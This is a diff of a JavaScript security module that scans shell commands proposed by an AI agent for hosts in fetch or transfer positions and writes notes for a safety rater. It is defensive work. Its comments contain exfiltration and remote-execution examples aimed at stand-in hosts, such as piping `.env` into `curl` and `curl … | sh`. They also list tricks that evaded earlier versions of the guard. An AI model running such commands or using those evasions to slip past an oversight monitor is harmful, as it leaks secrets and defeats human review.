+ * A scheme-less dotted host **followed by a path or a port** — `example.com/install.sh`,
279
+ * `evil.example.net:8080/x`. Only offered to heads marked `bareHost`.
280
+ *
281
+ * The trailing `\/` or `:port` is what separates a hostname from a filename, and it is required for
282
+ * exactly that reason: `file.tar.gz`, `urls.txt`, `package.json` and `batch.txt` are all
283
+ * `label.label` with a letters-only final label, and admitting them would put a FILENAME in front of
284
+ * the user as the counterparty — which defeats §4.6.1, whose entire premise is that the sentence
285
+ * naming the host is the deliverable.
286
+ *
287
+ * The consequence, deliberate and documented: `ssh prod.example.com uptime` and
288
+ * `nc evil.example.net 4444` are **misses**, because neither has a path or a port attached. A miss
289
+ * costs a rating, which is what happened before this node existed.
290
+ */
291
+ const BARE_HOST_RE = /^[a-z0-9-]+(\.[a-z0-9-]+)*\.[a-z]{2,}(:\d+)?\//i;
292
+ /**
293
+ * Does this operand name a host — a URL scheme, a `user@host`, an IPv4 literal, or an scp-style
294
+ * `host:path`? Deliberately syntactic: it asks *"is a counterparty named here"*, never *"is that
295
+ * counterparty trustworthy"* (§4.1.1).
296
+ */
297
+ export function isHostLiteral(operand) {
298
+ return (SCHEME_RE.test(operand) ||
299
+ USER_AT_HOST_RE.test(operand) ||
300
+ IPV4_RE.test(operand) ||
301
+ IPV6_RE.test(operand) ||
302
+ HOST_COLON_PATH_RE.test(operand));
303
+ }
304
+ /**
305
+ * {@link isHostLiteral}, plus the scheme-less `host.tld/path` form. Applied only to operands of a
306
+ * head marked `bareHost` — see {@link BARE_HOST_RE} for why it is not applied everywhere.
307
+ */
308
+ function isHostLiteralOrBareHost(operand) {
309
+ return isHostLiteral(operand) || BARE_HOST_RE.test(operand);
310
+ }
311
+ /**
312
+ * Reduce an argv[0] to the bare binary name: drop any path prefix, case-fold, drop a `.exe`.
313
+ *
314
+ * **The case fold is a real evasion fix, found by RUNNING the prototype rather than reading it.**
315
+ * `cUrL https://…` passed the first version, because {@link normalizeCommand} deliberately
316
+ * preserves case. That is irrelevant on Linux — but on **Windows and case-insensitive macOS
317
+ * volumes that command resolves and runs**, and gaunt-sloth ships on both. A local Linux test run
318
+ * cannot prove this cell; the CI matrix is what does.
319
+ */
320
+ function bareHead(token) {
321
+ const lastSegment = token.split(/[\\/]/).pop() ?? '';
322
+ return lastSegment.toLowerCase().replace(/\.exe$/, '');
323
+ }
324
+ /**
325
+ * A token that is a URL rather than a program: `https://example.com/curl`'s last path segment is
326
+ * `curl`, and without this it would resolve to the head `curl` at whatever position it sits in.
327
+ */
328
+ const URL_SHAPED_RE = /:\/\//;
329
+ /**
330
+ * Every position in argv that may be the network head, each with its own {@link HostPosition} and
331
+ * {@link HeadTier}.
332
+ *
333
+ * ## Why every position, and why no list of wrapper names
334
+ *
335
+ * This is the fourth shape of this function, and the previous three each died to the same failure:
336
+ * **naming the things that may precede a command.** The wrapper loop stopped at the first flag
337
+ * (`sudo -u root curl …` evaded); scanning to the *first* head re-anchored onto a decoy
338
+ * (`sudo -u git curl …` evaded, because `git` is a real system user); and gating the scan on a
339
+ * `WRAPPERS` membership test left `timeout 30 curl …` evading while `time curl …` floored — the
340
+ * near-homograph of a name that *was* in the list. Twelve more names (`nice`, `stdbuf`,
341
+ * `proxychains`, `torsocks`, `runuser`, `busybox`, `flock`, …) would have closed today's twelve and
342
+ * reopened on the thirteenth tool anyone writes.
343
+ *
344
+ * So there is no membership test in the loop below. **Every token is a candidate head**, and the
345
+ * question a name would have answered — *is this token the command, or an argument to one?* — is
346
+ * answered by TIER instead of by exclusion, so being wrong about it costs precision rather than the
347
+ * whole match.
348
+ *
349
+ * ## How the tier is decided
350
+ *
351
+ * `full` applies while nothing but flags, flag values, wrappers and `VAR=value` assignments has been
352
+ * passed — i.e. **while the command itself has not yet appeared**. The moment a token appears that is
353
+ * none of those (`cp` in `sudo -u root cp /usr/bin/curl backup.dir/`), that token is the command, every
354
+ * later head-shaped token is one of its arguments, and the tier drops to `restricted` for the rest of
355
+ * the argv. A flag's *value* keeps `full` alive — that is what makes `sudo -u root curl …` and
356
+ * `sudo -u git curl …` behave identically — without needing to know which flags take one.
357
+ *
358
+ * **`WRAPPERS` is consulted by the tier predicate and nowhere else**, which is the whole of what is
359
+ * left of it. There used to be a loop here that advanced an index past leading wrappers and
360
+ * `VAR=value` assignments; once the tier predicate existed that loop was **provably dead** — deleting
361
+ * it entirely changed no test and no behaviour, because the predicate already lets a wrapper keep the
362
+ * `full` tier alive at the position the loop would have landed on. It is gone rather than kept as an
363
+ * unkillable branch. Emptying `WRAPPERS`, by contrast, turns 20 tests red: a name missing from it now
364
+ * costs *precision* (a scheme-less target behind that wrapper goes unseen) rather than the whole
365
+ * command, which is exactly the demotion that makes `timeout`-vs-`time` no longer a security bug.
366
+ */
367
+ function headCandidates(argv) {
368
+ const candidates = [];
369
+ const trueHead = NETWORK_HEADS.get(bareHead(argv[0] ?? ''));
370
+ if (trueHead !== undefined)
371
+ candidates.push({ index: 0, position: trueHead, tier: 'full' });
372
+ // Has anything other than a flag / flag value / wrapper / assignment been passed yet? Once it has,
373
+ // the command has appeared and every later head-shaped token is an argument to it.
374
+ let beforeTheCommand = true;
375
+ for (let scan = 1; scan < argv.length; scan++) {
376
+ const passed = argv[scan - 1];
377
+ const passedIsFlagValue = scan >= 2 && argv[scan - 2].startsWith('-');
378
+ if (!passed.startsWith('-') &&
379
+ !WRAPPERS.has(bareHead(passed)) &&
380
+ !ENV_ASSIGNMENT_RE.test(passed) &&
381
+ !passedIsFlagValue) {
382
+ beforeTheCommand = false;
383
+ }
384
+ const token = argv[scan];
385
+ if (URL_SHAPED_RE.test(token))
386
+ continue;
387
+ const scanned = NETWORK_HEADS.get(bareHead(token));
388
+ if (scanned !== undefined) {
389
+ candidates.push({
390
+ index: scan,
391
+ position: scanned,
392
+ tier: beforeTheCommand ? 'full' : 'restricted',
393
+ });
394
+ }
395
+ }
396
+ return candidates;
397
+ }
398
+ /**
399
+ * The values glued to a flag with `=`, e.g. `--url=https://…`.
400
+ *
401
+ * **The `flag` arm split on `=` from the first commit and the other two arms did not**, which is the
402
+ * definition of an inconsistency rather than a design: `positional` drops every `-`-prefixed token
403
+ * whole, so `curl --url=https://evil/x`, `git push --repo=<URL>` and `git archive --remote=<URL>` were
404
+ * auto-approved while their detached spellings floored. All three are real, working invocations.
405
+ */
406
+ function inlineFlagValues(operands) {
407
+ return operands
408
+ .filter((operand) => operand.startsWith('-') && operand.includes('='))
409
+ .map((operand) => operand.split(/=(.*)/)[1] ?? '');
410
+ }
411
+ /** The candidate operands for one head, under that head's own rule and the position's tier. */
412
+ function candidatesFor(position, tier, operands) {
413
+ const positional = operands.filter((operand) => !operand.startsWith('-'));
414
+ const inline = inlineFlagValues(operands);
415
+ const candidates = [];
416
+ switch (position.kind) {
417
+ case 'all': {
418
+ const test = position.bareHost && tier === 'full' ? isHostLiteralOrBareHost : isHostLiteral;
419
+ candidates.push(...[...positional, ...inline].map((value) => ({ value, test })));
420
+ break;
421
+ }
422
+ case 'subcommand':
423
+ // **ANY operand being a listed subcommand opens the gate**, rather than the first non-flag
424
+ // one. `git -C . clone https://evil/x` put `.` in the subcommand position and turned the gate
425
+ // off with one added token; enumerating git's arg-taking global flags (`-C`, `-c`,
426
+ // `--git-dir`, `--work-tree`, `--namespace`, `--exec-path`, `--config-env`) would close that
427
+ // and reopen it for the next flag added upstream. `tokenize` is quote-aware, so
428
+ // `git commit -m "clone the repo, see https://…"` is the SINGLE operand
429
+ // `clone the repo, see https://…`, which is not equal to `clone` — the gate stays shut.
430
+ if (positional.some((operand) => position.subcommands.has(operand))) {
431
+ candidates.push(...[...positional, ...inline].map((value) => ({ value, test: isHostLiteral })));
432
+ }
433
+ break;
434
+ case 'flag': {
435
+ // `<pm> run <script> -- …` hands everything after the `--` to the SCRIPT: the package manager
436
+ // stops parsing there and never sees those tokens, so nothing after it is a package-manager
437
+ // fetch position. Without this, `npm run dev -- --proxy https://api.example.com` and
438
+ // `npm run build -- --url <URL>` — ordinary dev-server invocations — prompted every time.
439
+ //
440
+ // **Scoped to `run`/`run-script` on purpose, and that scope is the whole safety of it.** `--`
441
+ // is an end-of-options marker for the OTHER subcommands, where the operands after it are still
442
+ // the package manager's own: `npm install -- https://evil/pkg.tgz` installs that tarball, and
443
+ // it must keep flooring. A blanket "ignore everything after `--`" would be an evasion.
444
+ //
445
+ // The residual, stated so it is a decision: a project script that forwards its arguments to a
446
+ // network tool (`"build": "curl"`) would fetch a post-`--` URL. That is not a package-manager
447
+ // fetch, it is indistinguishable from the same script with the URL hardcoded — which
448
+ // `npm run build` alone already is, silently — and reaching it requires a script that already
449
+ // exists in package.json.
450
+ const scriptArgs = RUN_SUBCOMMANDS.has(positional[0] ?? '') ? operands.indexOf('--') : -1;
451
+ const own = scriptArgs === -1 ? operands : operands.slice(0, scriptArgs);
452
+ const ownPositional = own.filter((operand) => !operand.startsWith('-'));
453
+ // The registry/index OVERRIDE is exempt from that boundary, and deliberately so: it is scanned
454
+ // across the whole argv. A first cut honoured the boundary here too, and no mutation could kill
455
+ // it — nothing observable changed, because the flags this arm knows (`--registry`,
456
+ // `--index-url`, `-i`) are not the flags the false positive was about (`--url`, `--proxy`,
457
+ // `--host`, which no package manager parses). Scanning everything is the raise-only choice and
458
+ // the one without an untestable branch: `npm run build -- --registry <URL>` floors, which is an
459
+ // over-match rather than a miss.
460
+ for (let i = 0; i < operands.length; i++) {
461
+ // Both spellings: `--registry=URL` and `--registry URL`.
462
+ const [flag, inlineValue] = operands[i].split(/=(.*)/);
463
+ if (position.flags.has(flag)) {
464
+ candidates.push({ value: inlineValue ?? operands[i + 1] ?? '', test: isHostLiteral });
465
+ }
466
+ }
467
+ // The install TARGET, tested for a URL scheme ONLY. `npm install https://evil/p.tgz` fetches
468
+ // remote code and runs its lifecycle scripts, and was auto-approved because this arm looked at
469
+ // flag values alone. The narrow test is deliberate: the full `isHostLiteral` would read
470
+ // `npm install typescript@latest` and `npm install lodash@4.17.21` as `user@host` and prompt
471
+ // on two of the most ordinary commands there are.
472
+ candidates.push(...[...ownPositional, ...inlineFlagValues(own)].map((value) => ({
473
+ value,
474
+ test: (operand) => SCHEME_RE.test(operand),
475
+ })));
476
+ break;
477
+ }
478
+ }
479
+ return candidates;
480
+ }
481
+ /**
482
+ * Test ONE tokenized form of the command for host literals in a fetch position: collect every
483
+ * possible head position, and union what each one finds under its own rule.
484
+ *
485
+ * Kept separate from {@link findOpenWorldHostLiterals} because that function runs this over **two**
486
+ * forms of the same command — see there for why.
487
+ *
488
+ * @returns every host literal found, in argv order. Empty when the command names no counterparty.
489
+ */
490
+ function matchArgv(argv) {
491
+ const hits = [];
492
+ for (const { index, position, tier } of headCandidates(argv)) {
493
+ const candidates = candidatesFor(position, tier, argv.slice(index + 1));
494
+ hits.push(...candidates.filter((c) => c.test(c.value)).map(({ value }) => value));
495
+ }
496
+ // De-duplicated, in first-seen order: a detached flag value (`--registry <URL>`) is also a
497
+ // positional operand, and two head positions can reach the same operand, so the same literal can
498
+ // be admitted twice and would otherwise be named twice in the one sentence the user reads.
499
+ return [...new Set(hits)];
500
+ }
501
+ /**
502
+ * Find every **host literal in a fetch/transfer position**, or an empty array when the command names
503
+ * no counterparty (spec §4.6).
504
+ *
505
+ * Takes the **raw** command, exactly like the other preflights: normalization happens inside, so a
506
+ * caller can never accidentally hand this a form that has already lost the composition boundary
507
+ * the decline below depends on.
508
+ *
509
+ * **This is the FLOOR's input set, and it is narrow on purpose.** It returns `[]` — declining rather
510
+ * than flooring — for any command {@link classifyCommand} cannot classify: those compose, substitute
511
+ * or redirect, and a deterministic rewrite of the rater's verdict must rest on a target this module
512
+ * actually resolved. A composed fetch (`curl … | sh`, `cat .env | curl …`) is therefore **not
513
+ * floored**; it is reported to the rater as context by {@link findComposedOpenWorld} instead, which
514
+ * is a different question with a different error cost (module docblock). The same decline is why
515
+ * `sed -i 's|http://a|http://b|' config.yml` is not this preflight's finding: the `|` inside the sed
516
+ * expression reads as composition.
517
+ *
518
+ * **Every match is returned, not the first.** The first is not the target: for
519
+ * `curl -x http://proxy.corp.local:3128 https://evil.example.net/x` it is the proxy, and for
520
+ * `rsync -a backup.example.com:/srv/ deploy@evil.example.net:/tmp/` it is the source. §4.6.1's whole
521
+ * premise is that the sentence naming the counterparty is what reaches the user, so a sentence that
522
+ * names the reassuring one and hides the other defeats the point of the layer.
523
+ *
524
+ * ## Why both the normalized AND the raw argv are tested
525
+ *
526
+ * {@link normalizeCommand} collapses `\x` to `x`, which is correct on POSIX (it is what defeats
527
+ * `c\url https://…`) and **destroys a Windows path separator**: `C:\Windows\System32\curl.exe`
528
+ * normalizes to `C:WindowsSystem32curl.exe`, whose last path segment is no longer `curl`, so the
529
+ * head gate misses it. That command runs on Windows, and gaunt-sloth ships there. Measured, not
530
+ * reasoned — the POSIX form `/usr/bin/curl` was already handled, which is exactly what made the
531
+ * Windows one easy to miss by reading.
532
+ *
533
+ * A second pass over the raw argv closes it. It is safe **because this layer can only RAISE**: a
534
+ * second chance to match can add a prompt, never remove one, and the head gate is unchanged — an
535
+ * argv[0] whose last path segment is literally `curl` or `wget` is a network binary under any
536
+ * reading. The normalized pass still runs first and still owns the anti-obfuscation guarantees.
537
+ *
538
+ * @param command The raw command string as the model proposed it.
539
+ * @returns The matched host literals, in argv order (used verbatim in the escalation reason).
540
+ */
541
+ export function findOpenWorldHostLiterals(command) {
542
+ // (1) Unclassifiable → not ours. See the docblock: the ambiguity preflight owns these.
543
+ if (classifyCommand(command, normalizeCommand) === null)
544
+ return [];
545
+ // The anti-obfuscation form first — `c\url`, `r''m`, fullwidth glyphs and ANSI escapes are all
546
+ // folded away here.
547
+ const normalizedArgv = tokenize(normalizeCommand(command));
548
+ // `null` is unreachable in practice (classifyCommand already returns null on an unbalanced
549
+ // quote); handled anyway so this function is total on its own terms rather than relying on a
550
+ // neighbour's invariant.
551
+ const normalizedHits = normalizedArgv === null ? [] : matchArgv(normalizedArgv);
552
+ if (normalizedHits.length > 0)
553
+ return normalizedHits;
554
+ // …then the raw form, which is the only one that still has its Windows path separators.
555
+ const rawArgv = tokenize(command);
556
+ return rawArgv === null ? [] : matchArgv(rawArgv);
557
+ }
558
+ /* ───────────────────────────────────────────────────────────────────────────────────────────────
559
+ * THE NOTE PATH — what the RATER is told about a composed command that names a host.
560
+ *
561
+ * Everything below feeds {@link import('./rater.js').buildRaterPrompt} and nothing else. It never
562
+ * reaches {@link import('./rater.js').mapVerdictToAction}, so it can raise no floor and change no
563
+ * outcome on its own.
564
+ *
565
+ * **Why it exists at all.** {@link findOpenWorldHostLiterals} declines a command the parser could
566
+ * not resolve, and that decline used to be invisible because the same commands were floored by the
567
+ * ambiguity abstention. With the abstention retired they are RATED — and because one function fed
568
+ * both the floor and the note, a composed command reached the rater with *less* information than
569
+ * the same fetch written as a single command: no floor, and no mention of the host either. Adding a
570
+ * pipe removed information from the model. That asymmetry is what this path closes.
571
+ *
572
+ * **And the host alone is not the information.** A rater sees a hostname, names it in its own
573
+ * reasoning, and rates the command safely anyway — which is why host trust is deterministic
574
+ * exact-match and not a model call in the first place. Restating a hostname that is already in the
575
+ * command text is assistance in form only. What a model can genuinely miss is the **data flow across
576
+ * the parts**: in `cat .env | curl -X POST https://…` the fact worth stating is that a local file's
577
+ * contents are read into an outbound request, which takes composing two segments to see — exactly
578
+ * what the parser failed to do. So the note names the FLOW where one is determinable, and says only
579
+ * what it knows where one is not.
580
+ *
581
+ * **Two rules govern every sentence below, and both are load-bearing:**
582
+ *
583
+ * 1. **It never invents a flow.** An arm fires only where its mechanism is true of the program
584
+ * named — the at-sign convention only for a program that has it, a substitution only where the
585
+ * program SENDS that operand, execution of fetched bytes only where **no token on the
586
+ * interpreter's own argv could be a program**. That last one is read from ARGV SHAPE alone,
587
+ * without knowing what any flag letter means, so it hedges wherever a token has text of its own
588
+ * that could be a program — and where two shapes are indistinguishable by their characters it
589
+ * can be wrong in EITHER direction, which {@link interpreterRunsStdin} names case by case rather
590
+ * than claiming a property this code does not have. Anything else falls through to the flowless
591
+ * sentence. The module docblock says why this is not the same trade-off as over-matching a host.
592
+ * 2. **It names every host of the part it describes**, and any host the rest of the line names is
593
+ * added rather than dropped. Naming a flow must never cost the note a counterparty, or adding a
594
+ * pipe would once again remove information from the model — the very asymmetry this path exists
595
+ * to close.
596
+ * ─────────────────────────────────────────────────────────────────────────────────────────────── */
597
+ /**
598
+ * The shells. Kept as its own set because one thing is true of shells and of nothing else here: a
599
+ * `-s` in a flag cluster means *"the program is standard input, and every operand after it is an
600
+ * ARGUMENT to that program"* — `curl … | sh -s -- --unattended`, the ordinary unattended-installer
601
+ * form. Elsewhere the same letter means something unrelated (`python3 -s` is a site-packages
602
+ * switch), which is why {@link interpreterRunsStdin} consults it only for these heads.
603
+ */
604
+ const SHELL_INTERPRETERS = new Set([
605
+ 'sh',
606
+ 'bash',
607
+ 'zsh',
608
+ 'dash',
609
+ 'ksh',
610
+ 'ash',
611
+ 'csh',
612
+ 'tcsh',
613
+ 'fish',
614
+ ]);
615
+ /**
616
+ * Programs that CAN run what arrives on their standard input. Piping a fetch into one of these makes
617
+ * the fetched bytes the program **when no token on that interpreter's own argv could be a program
618
+ * instead** — which is the question {@link interpreterRunsStdin} answers, and which decides which
619
+ * sentence this note carries.
620
+ *
621
+ * An enumeration, and a miss costs only a less specific note (the host is still named and the
622
+ * remaining sentence is still true), which is what makes an enumeration acceptable *here* and not in
623
+ * a layer that decides an outcome.
624
+ */
625
+ const STDIN_INTERPRETERS = new Set([
626
+ ...SHELL_INTERPRETERS,
627
+ 'python',
628
+ 'python2',
629
+ 'python3',
630
+ 'node',
631
+ 'nodejs',
632
+ 'deno',
633
+ 'bun',
634
+ 'perl',
635
+ 'ruby',
636
+ 'php',
637
+ 'lua',
638
+ 'osascript',
639
+ 'powershell',
640
+ 'pwsh',
641
+ ]);
642
+ /** A short-flag cluster: one dash, then letters or digits (`-s`, `-fsSL`, `-es`). */
643
+ const SHORT_FLAG_CLUSTER_RE = /^-[A-Za-z0-9]+$/;
644
+ /** A long flag with nothing attached: two dashes, then letters, digits or dashes (`--norc`). */
645
+ const LONG_FLAG_RE = /^--[A-Za-z0-9][A-Za-z0-9-]*$/;
646
+ /** A token that is nothing but dashes (`-`, `--`). It has no room to carry a program. */
647
+ const DASHES_ONLY_RE = /^-+$/;
648
+ /**
649
+ * Is this token a flag and ONLY a flag — with no text glued to it that could be a program?
650
+ *
651
+ * Three shapes qualify, and each is a statement about the token's characters rather than about what
652
+ * any program does with them: nothing but dashes, a short-flag cluster, or a long flag with nothing
653
+ * attached. Every other `-`-leading token — `-mjson.tool`, `-pes/a/b/`, `--eval=console.log(1)`,
654
+ * `-cprint(1)` — carries text of its own, and that text can be a program.
655
+ *
656
+ * The limit is exactly where the characters stop distinguishing: a glued value made only of letters
657
+ * and digits (`-mbase64`) is the same shape as a flag cluster (`-fsSL`) and passes here.
658
+ * {@link interpreterRunsStdin} records what that costs — and note the cost is not uniform, since
659
+ * `-MJSON` has that same shape while the reading it produces is correct.
660
+ */
661
+ function isCleanFlag(token) {
662
+ return (DASHES_ONLY_RE.test(token) || SHORT_FLAG_CLUSTER_RE.test(token) || LONG_FLAG_RE.test(token));
663
+ }
664
+ /**
665
+ * Does this line leave the interpreter's PROGRAM to standard input, or could a token on the
666
+ * interpreter's own argv be the program instead?
667
+ *
668
+ * Answered from the shape of the argv alone. **There is deliberately no table of what each
669
+ * interpreter's flags mean**, because that table is the enumeration that acquires a blind spot one
670
+ * release at a time ([[cmd-pos-is-an-enumeration]]) — and here a wrong entry does not cost a miss,
671
+ * it puts a FALSE MECHANISM in front of the rater in one direction or the other. `-e` is `eval` to
672
+ * node and perl and `errexit` to every shell; `-m` is a module to python and job control to bash. Two
673
+ * program-agnostic facts settle it instead:
674
+ *
675
+ * - **A token that is not a clean flag by shape** ({@link isCleanFlag}) may be the program
676
+ * (`python3 script.py`), or the value of a flag that supplies one — whether that value is spaced
677
+ * (`bash -c "…"`, `python3 -m json.tool`) or GLUED to the flag (`python3 -mjson.tool`,
678
+ * `perl -pe's/a/b/'`, `node --eval="…"`). Shape cannot tell those apart, and it does not need to:
679
+ * in every one of them the line may hand the interpreter something of its own, so the note must
680
+ * not say the fetched bytes are what runs. Testing merely for a leading dash instead would make
681
+ * the gate spelling-sensitive where it has to be shape-sensitive, and assert execution of a
682
+ * `curl … | python3 -mjson.tool` that only pretty-prints.
683
+ * - **A shell's `-s`, alone or in a cluster**, says the program IS standard input. It therefore
684
+ * WINS over the token test, which would otherwise read the script's own arguments (`sh -s foo`)
685
+ * as a program and soften the sentence on the hostile shape.
686
+ *
687
+ * **Where shape runs out — both directions, stated rather than claimed away.** Two token shapes are
688
+ * indistinguishable from a clean flag by their characters alone, and each costs a different error:
689
+ *
690
+ * - **A DETACHED flag value** (`bash -o pipefail`, `bash --rcfile /dev/null`) is a token with text
691
+ * of its own, so it reads as a possible program and a shell that really does run its standard
692
+ * input gets the hedged sentence. This one UNDER-claims, which is the tolerable side: the note
693
+ * still names every host and still says the fetched bytes may be what executes.
694
+ * - **A glued value made only of letters and digits** (`python3 -mbase64`) is the same characters
695
+ * as a flag cluster, so it reads as a clean flag and the strong sentence fires on a line that only
696
+ * ENCODES the fetched bytes. This one OVER-claims, which is the failure this note path exists to
697
+ * remove — it is narrowed here to the shapes characters cannot separate, not eliminated.
698
+ * Note the shape does not decide the direction: `perl -MJSON` is the identical shape and the
699
+ * strong sentence is TRUE there, because `-M` only loads a module and leaves standard input as
700
+ * the program. Both are pinned, the second as correct behaviour rather than as a gap.
701
+ *
702
+ * Neither is closable from shape. Both need to know which flags take a value, which is the table
703
+ * this function refuses: a wrong entry there would state a false mechanism on EVERY line using that
704
+ * flag, where shape is wrong only on the lines whose tokens are genuinely ambiguous. Both are pinned
705
+ * in the spec, so closing either is a decision and not a drift.
706
+ */
707
+ function interpreterRunsStdin(head, operands) {
708
+ if (SHELL_INTERPRETERS.has(head)) {
709
+ const forcesStdin = operands.some((operand) => SHORT_FLAG_CLUSTER_RE.test(operand) && operand.includes('s'));
710
+ if (forcesStdin)
711
+ return true;
712
+ }
713
+ return operands.every(isCleanFlag);
714
+ }
715
+ /**
716
+ * Split a command line into its parts at the separators the SHELL would act on.
717
+ *
718
+ * Quote-aware and nesting-aware, because both are the difference between a part and a fragment: a
719
+ * `|` inside `"$(cat a | b)"` or inside `'a;b'` starts no new command, and splitting there would
720
+ * describe a flow the shell never performs. The nesting counter covers `$(…)`, `<(…)`, `>(…)` and
721
+ * backticks — the constructs whose interior is a command line of its own.
722
+ *
723
+ * This does NOT try to be a shell parser. It is the smallest thing that can say "these are the parts
724
+ * and this one feeds that one", which is all the note needs.
725
+ */
726
+ function splitComposed(command) {
727
+ const segments = [];
728
+ let current = '';
729
+ let separatorBefore = 'none';
730
+ let quote = null;
731
+ let depth = 0;
732
+ let backtick = false;
733
+ const cut = (next) => {
734
+ segments.push({ text: current, separatorBefore });
735
+ current = '';
736
+ separatorBefore = next;
737
+ };
738
+ for (let i = 0; i < command.length; i++) {
739
+ const ch = command[i];
740
+ const next = command[i + 1];
741
+ if (quote !== null) {
742
+ current += ch;
743
+ if (ch === quote)
744
+ quote = null;
745
+ continue;
746
+ }
747
+ if (ch === '"' || ch === "'") {
748
+ quote = ch;
749
+ current += ch;
750
+ continue;
751
+ }
752
+ if (ch === '`') {
753
+ backtick = !backtick;
754
+ current += ch;
755
+ continue;
756
+ }
757
+ if (!backtick && (ch === '$' || ch === '<' || ch === '>') && next === '(') {
758
+ depth++;
759
+ current += ch + next;
760
+ i++;
761
+ continue;
762
+ }
763
+ if (depth > 0) {
764
+ if (ch === '(')
765
+ depth++;
766
+ else if (ch === ')')
767
+ depth--;
768
+ current += ch;
769
+ continue;
770
+ }
771
+ if (backtick) {
772
+ current += ch;
773
+ continue;
774
+ }
775
+ if (ch === '\n' || ch === '\r' || ch === ';') {
776
+ cut('sequence');
777
+ continue;
778
+ }
779
+ if (ch === '&') {
780
+ if (next === '&')
781
+ i++;
782
+ cut('sequence');
783
+ continue;
784
+ }
785
+ if (ch === '|') {
786
+ // `||` is a sequence operator; a single `|` is the one that connects two parts' streams, and
787
+ // that connection is the whole of what a flow sentence describes.
788
+ if (next === '|') {
789
+ i++;
790
+ cut('sequence');
791
+ }
792
+ else {
793
+ cut('pipe');
794
+ }
795
+ continue;
796
+ }
797
+ current += ch;
798
+ }
799
+ cut('none');
800
+ return segments.filter((segment) => segment.text.trim().length > 0);
801
+ }
802
+ /**
803
+ * The characters a token may contain to be quoted back inside our own note.
804
+ *
805
+ * **This is an injection boundary, not cosmetics.** The note is OUR trusted text and sits OUTSIDE
806
+ * the `<command_to_evaluate>` fence, while every token it names comes from the model's command
807
+ * string. {@link SCHEME_RE} and {@link HOST_COLON_PATH_RE} are PREFIX tests, so an operand that
808
+ * starts as a URL carries whatever follows it — and a composed command is the easiest place to build
809
+ * one. Barring whitespace and line breaks is what stops a "hostname" from becoming a sentence or a
810
+ * new line in a prompt that is read as instructions.
811
+ *
812
+ * A token that fails this is not mangled into shape; it is simply not named ({@link quotable}), and
813
+ * the sentence falls back to a generic word.
814
+ */
815
+ const QUOTABLE_IN_NOTE_RE = /^[A-Za-z0-9~/.[][A-Za-z0-9._~@:/+?=,%#[\]-]{0,99}$/;
816
+ /** The token if it is safe to name in our own note, else `null`. See {@link QUOTABLE_IN_NOTE_RE}. */
817
+ function quotable(token) {
818
+ return QUOTABLE_IN_NOTE_RE.test(token) ? token : null;
819
+ }
820
+ /** `$(…)` or a backtick — the substitution forms the shell EXECUTES before the outer program runs. */
821
+ const EXECUTING_SUBSTITUTION_RE = /\$\(|`/;
822
+ /**
823
+ * curl's convention for "read this operand from a local file rather than taking it literally". `@-`
824
+ * is standard input, which is the pipe case rather than a file read.
825
+ *
826
+ * Within a head that HAS the convention this is keyed on the convention and not on a list of the
827
+ * flags that honour it: an enumeration of `-d`/`--data-binary`/`-T`/`-F`/… acquires a blind spot one
828
+ * flag at a time, and a miss there costs a less specific note. Which heads have it at all is a
829
+ * different question and is answered by {@link AT_FILE_HEADS}.
830
+ */
831
+ const AT_FILE_OPERAND_RE = /^@(?!-$)(.+)$/;
832
+ /**
833
+ * The heads whose operand beginning with `@` means *"read this local file and send its contents"*.
834
+ *
835
+ * **curl alone, and the narrowness is the point.** The sentence this arm emits names that mechanism
836
+ * outright, so it is only ever true of a program that has the convention. A leading at-sign is
837
+ * ordinary in operands that are nothing of the kind — `npm install @babel/core`, `pnpm add
838
+ * @types/node`, `yarn add @scope/pkg` are scoped package NAMES, and applying curl's convention to
839
+ * them both invents a mechanism and invents a filename that does not exist. httpie's file forms
840
+ * attach to a field (`field@file`) rather than standing as a bare operand, so it is out too: a head
841
+ * admitted here on a guess re-creates exactly the defect this gate prevents, while a head left out
842
+ * costs only the flowless sentence, which still names the host.
843
+ *
844
+ * The head is `argv[0]` of the part, so a wrapped form (`sudo curl -d @secret …`) falls through as
845
+ * well — the same trade, taken the same way.
846
+ */
847
+ const AT_FILE_HEADS = new Set(['curl']);
848
+ /**
849
+ * Flags whose VALUE the program puts into what it SENDS — a request body, a header, credentials.
850
+ *
851
+ * **Keyed by head, because a flag letter is not a convention:** `git push -d <branch>` deletes a
852
+ * branch, and an ungated list would let *"the result of the inner command is part of what git sends
853
+ * to <host>"* through unchecked. Only values sent LITERALLY are listed: `-T`/`--upload-file` and
854
+ * `-F`/`--form` take a filename or an `@file` reference, so a substitution there produces the NAME
855
+ * of what is sent rather than the content, and claiming otherwise would be the same false mechanism
856
+ * one flag along.
857
+ *
858
+ * A head or a flag missing from here costs the flowless sentence, which is the direction this table
859
+ * must fail in.
860
+ */
861
+ const SEND_OPERAND_FLAGS = new Map([
862
+ [
863
+ 'curl',
864
+ new Set([
865
+ '-d',
866
+ '--data',
867
+ '--data-raw',
868
+ '--data-ascii',
869
+ '--data-binary',
870
+ '--data-urlencode',
871
+ '--json',
872
+ '--form-string',
873
+ '-H',
874
+ '--header',
875
+ '-u',
876
+ '--user',
877
+ ]),
878
+ ],
879
+ ['wget', new Set(['--post-data', '--body-data', '--header'])],
880
+ ]);
881
+ /** A redirection operator standing alone: `>`, `>>`, `2>`, `&>`, `<`. */
882
+ const REDIRECT_OPERATOR_RE = /^(?:\d*(?:>>?|<<?)|&>>?)$/;
883
+ /** The same, glued to what follows it: `>out.txt`, `2>>log`. */
884
+ const REDIRECT_PREFIX_RE = /^(?:\d*(?:>>?|<<?)|&>>?)/;
885
+ /**
886
+ * Is a substitution in this part in a position the program SENDS?
887
+ *
888
+ * The arm's sentence says the inner command's output becomes part of what the program sends to the
889
+ * host. That is true of a request body, a header or a URL; it is false of the two places a
890
+ * substitution most often sits in ordinary work — an OUTPUT filename (`curl -o "$(date).json" <URL>`,
891
+ * `wget -O "$(date).html" <URL>`) and a REDIRECT target (`curl <URL> > "$(date).txt"`), where the
892
+ * output names a local file and nothing about it goes anywhere.
893
+ *
894
+ * So a position must be positively recognised as a sending one, rather than merely not recognised as
895
+ * an output one: an unlisted flag then costs the flowless sentence instead of a false claim.
896
+ * Recognised positions are the value of a {@link SEND_OPERAND_FLAGS} flag, in either spelling, and
897
+ * the endpoint operand itself (`curl "https://evil.example/$(whoami)"`, where the substitution is
898
+ * part of the request line).
899
+ */
900
+ function substitutionIsSent(segment) {
901
+ const sendFlags = SEND_OPERAND_FLAGS.get(segment.head);
902
+ for (let i = 0; i < segment.argv.length; i++) {
903
+ const token = segment.argv[i];
904
+ if (!EXECUTING_SUBSTITUTION_RE.test(token))
905
+ continue;
906
+ // A redirect target is not an operand of the program at all — the shell consumes it.
907
